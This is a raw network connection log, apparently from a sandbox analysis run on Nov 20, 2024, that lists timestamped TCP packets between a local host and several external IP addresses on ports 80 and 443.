Nov 20, 2024 00:19:28.539004087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539042950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539077044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539092064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539124966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539134026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539160967 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539189100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539211988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539216042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539247990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539280891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539298058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539328098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539331913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539380074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539412975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539427042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539448977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539484024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539501905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539518118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539526939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539552927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539587021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539587975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539607048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539621115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539627075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539655924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539665937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539690018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539724112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539735079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539758921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539767981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539792061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539824963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539836884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539858103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539879084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539895058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539904118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539928913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539940119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.539967060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.539995909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540014029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540029049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540045023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540062904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540071964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540098906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540108919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540133953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540165901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540180922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540208101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540211916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540246010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540278912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540311098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540313959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540338039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540347099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540364981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540380001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540414095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540446997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540462971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540479898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540492058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540513992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540546894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540592909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540594101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540628910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.540638924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.540735960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.585975885 CET	443	62115	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.586052895 CET	443	62115	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.586117983 CET	62115	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.586940050 CET	62115	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.586957932 CET	443	62115	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.591032028 CET	62119	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.591046095 CET	443	62119	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.591120958 CET	62119	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.591330051 CET	62119	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.591341972 CET	443	62119	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.592500925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.597393990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.625176907 CET	443	62116	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.625339031 CET	443	62116	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.625425100 CET	62116	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.625593901 CET	62116	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.625607967 CET	443	62116	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.625617981 CET	62116	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.625623941 CET	443	62116	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.628858089 CET	62120	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.628885984 CET	443	62120	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.629167080 CET	62120	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.629331112 CET	62120	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.629343987 CET	443	62120	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.650842905 CET	443	62117	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.651304007 CET	62117	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.651315928 CET	443	62117	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.651784897 CET	62117	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.651789904 CET	443	62117	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.703727007 CET	443	62118	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.711052895 CET	62118	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.711061001 CET	443	62118	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.711791039 CET	62118	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.711795092 CET	443	62118	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.761418104 CET	443	62117	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.761483908 CET	443	62117	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.761535883 CET	62117	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.761754036 CET	62117	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.761759996 CET	443	62117	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.761770010 CET	62117	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.761773109 CET	443	62117	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.763744116 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.763784885 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.763814926 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.763851881 CET	62114	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:28.763876915 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.763906002 CET	62114	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:28.764102936 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.764154911 CET	62114	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:28.764543056 CET	62114	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:28.764558077 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.764573097 CET	62114	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:28.764579058 CET	443	62114	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.767926931 CET	62121	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.767963886 CET	443	62121	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.768055916 CET	62121	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.768392086 CET	62121	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.768397093 CET	443	62121	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.821264029 CET	62122	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:28.821279049 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.821352005 CET	62122	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:28.823318005 CET	62122	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:28.823328972 CET	443	62122	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:28.824220896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824276924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824312925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824346066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824364901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824371099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824404955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824438095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824451923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824474096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824482918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824511051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824520111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824543953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824553013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824584961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824587107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824619055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824626923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824657917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824707985 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824750900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824778080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824812889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824824095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824846983 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824856043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824886084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824888945 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824928999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.824937105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824970961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.824975967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825005054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825015068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825047016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825058937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825090885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825102091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825129986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825143099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825185061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825201035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825242996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825251102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825294971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825304031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825333118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825352907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825366020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825366974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825402021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825411081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825434923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825444937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825470924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825476885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825515032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825525045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825567007 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825577974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825629950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825673103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825676918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825710058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825743914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825772047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825840950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825865030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825900078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825910091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825933933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.825943947 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825975895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.825987101 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826034069 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826040983 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826076984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826083899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826117039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826124907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826162100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826164961 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826206923 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826214075 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826250076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826258898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826284885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826291084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826316118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826319933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826354027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826356888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826395035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826406002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826436043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826451063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826469898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826471090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826513052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826520920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826554060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826561928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826589108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826591969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826622963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826630116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826658010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826663971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826688051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826702118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826728106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826733112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826767921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826771975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826801062 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826807976 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826839924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826843023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826879978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826885939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826920986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826947927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826951027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826966047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.826986074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.826989889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827019930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827025890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827058077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827058077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827071905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827094078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827106953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827106953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827142000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827146053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827176094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827181101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827209949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827215910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827244043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827251911 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827275038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827282906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827308893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827327013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827353954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827375889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827409029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827418089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827446938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:28.827449083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.827485085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:28.836471081 CET	443	62118	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.836536884 CET	443	62118	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.836604118 CET	62118	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.840759039 CET	62118	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.840759039 CET	62118	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.840766907 CET	443	62118	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.840774059 CET	443	62118	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.854528904 CET	62123	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.854554892 CET	443	62123	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:28.854620934 CET	62123	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.855887890 CET	62123	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:28.855909109 CET	443	62123	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.387340069 CET	443	62119	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.390603065 CET	62119	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.390618086 CET	443	62119	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.391263962 CET	62119	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.391269922 CET	443	62119	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.391860008 CET	443	62120	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.409919024 CET	62120	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.409935951 CET	443	62120	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.410485029 CET	62120	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.410490036 CET	443	62120	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.512825966 CET	443	62120	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.513036966 CET	443	62120	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.513134956 CET	62120	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.513447046 CET	62120	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.513454914 CET	443	62120	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.515611887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:29.515635014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:29.517503023 CET	62124	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.517524958 CET	443	62124	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.517594099 CET	62124	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.517878056 CET	62124	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.517889977 CET	443	62124	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.522098064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:29.522114038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:29.525978088 CET	443	62119	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.526040077 CET	443	62119	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.526137114 CET	62119	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.526236057 CET	62119	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.526241064 CET	443	62119	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.526262999 CET	62119	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:29.526266098 CET	443	62119	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:29.529201031 CET	62125	443	192.168.2.5	13.107.246.45
